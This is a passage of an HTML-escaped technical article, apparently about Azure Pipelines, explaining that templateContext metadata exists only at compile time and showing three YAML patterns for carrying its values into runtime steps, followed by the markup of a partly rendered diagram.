style=\"color:#e6db74\"\u003e\u0026#39;Build\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e has no runtime existence. It is purely a compile-time data carrier — available during template expansion (Phase 2 of initialization) and gone afterward.\u003c/p\u003e\n\u003ch3 id=\"the-access-scope-rule\"\u003eThe Access Scope Rule\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e properties are accessible exclusively inside a \u003ccode\u003e${{ each }}\u003c/code\u003e loop in the template file that receives the \u003ccode\u003ejobList\u003c/code\u003e or \u003ccode\u003edeploymentList\u003c/code\u003e. Access uses compile-time expression syntax:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# CORRECT: read templateContext inside the ${{ each }} loop in the template\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# compile-time access\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e does not exist inside the job\u0026rsquo;s \u003ccode\u003esteps:\u003c/code\u003e at runtime. The agent executes steps after compilation — by that point \u003ccode\u003etemplateContext\u003c/code\u003e has been stripped. Any attempt to read \u003ccode\u003e${{ deploy.templateContext.myProp }}\u003c/code\u003e inside a \u003ccode\u003esteps:\u003c/code\u003e block at runtime returns an empty string or causes an evaluation error.\u003c/p\u003e\n\u003cp\u003eThree patterns bridge the compile-time/runtime gap:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePattern 1 — Job-level variables injection (most common):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-jobs.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Extract templateContext values into pipeline variables at compile time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTARGET_ENV\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSERVICE_CONN\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy.runOnce.deploy.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deployed to $(TARGET_ENV) via $(SERVICE_CONN)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Report\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003ePattern 2 — \u003ccode\u003eenv:\u003c/code\u003e block on a specific step:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Region: $REGION\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                ./deploy.sh --region \u0026#34;$REGION\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eREGION\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.region }} \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# injected as env var\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003ePattern 3 — Parameter passed to an inner template:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps/deploy-steps.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#75715e\"\u003e# Pass the templateContext value as a typed parameter to the inner template\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eUse Pattern 1 (job-level variables) when multiple steps in the job need the value. Use Pattern 2 (\u003ccode\u003eenv:\u003c/code\u003e block) when only one step needs it and you want to keep the scope narrow. Use Pattern 3 (inner template parameter) when the inner template is shared and typed validation is important.\u003c/p\u003e\n\u003ch3 id=\"diagram-metadata-propagation-with-templatecontext\"\u003eDiagram: Metadata Propagation with \u003ccode\u003etemplateContext\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes the flow of metadata from its definition in the pipeline root to its consumption in a template, and finally its propagation to the runtime environment via the \u003cstrong\u003eVariable Bridge\u003c/strong\u003e pattern.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 560 857\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 528,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,48 L 512,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,112 L 280,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,112 L 512,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,128 L 272,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,128 L 528,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,176 L 280,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,176 L 528,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,224 L 512,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,256 L 280,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,256 L 512,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,288 L 272,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,288 L 512,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,320 L 280,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,320 L 512,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,352 L 272,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,352 L 512,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,400 L 280,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,400 L 512,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,416 L 272,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,416 L 528,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,464 L 280,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,464 L 528,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,512 L 512,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,592 L 280,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,592 L 512,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,608 L 272,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,608 L 528,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,656 L 280,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,656 L 528,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,704 L 512,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,736 L 112,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,736 L 440,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,736 L 512,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,768 L 104,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,768 L 176,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,768 L 432,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,768 L 504,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,816 L 176,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,816 L 504,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,832 L 528,832' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,176 L 32,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,464 L 32,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,656 L 32,832' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,48 L 48,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,224 L 48,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,288 L 48,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,352 L 48,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,512 L 48,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,704 L 48,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,768 L 48,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,736 L 112,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,768 L 176,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,112 L 280,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,160 L 280,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,256 L 280,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,320 L 280,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,400 L 280,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,448 L 280,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,592 L 280,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,640 L 280,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,768 L 376,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,736 L 440,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 504,768 L 504,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,48 L 512,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,288 L 512,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,352 L 512,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,512 L 512,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,704 L 512,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,0 L 528,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,176 L 528,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,256 L 528,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,464 L 528,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,656 L 528,832' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='120.000000,768.000000 108.000000,762.400024 108.000000,773.599976' fill='currentColor' transform='rotate(90.000000, 112.000000, 768.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 280,160 L 280,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='296.000000,160.000000 284.000000,154.399994 284.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 280.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='288.000000,288.000000 276.000000,282.399994 276.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 280.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='288.000000,352.000000 276.000000,346.399994 276.000000,357.600006' fill='currentColor' transform='rotate(90.000000, 280.000000, 352.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 280,448 L 280,456' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='296.000000,448.000000 284.000000,442.399994 284.000000,453.600006' fill='currentColor' transform='rotate(90.000000, 280.000000, 448.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 280,640 L 280,648' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='296.000000,640.000000 284.000000,634.400024 284.000000,645.599976' fill='currentColor' transform='rotate(90.000000, 280.000000, 640.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='448.000000,768.000000 436.000000,762.400024 436.000000,773.599976' fill='currentColor' transform='rotate(90.000000, 440.000000, 768.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='308' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='372' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='388' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='532' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='548' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='580' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='724' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='788' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='804' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='388' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='532' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='580' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='724' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='788' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='804' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='372' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='388' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='532' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='548' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='564' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='580' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='724' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='788' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='804' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='308' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='532' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='548' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='564' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='580' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='724' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='788' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='804' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='372' fill='currentColor' 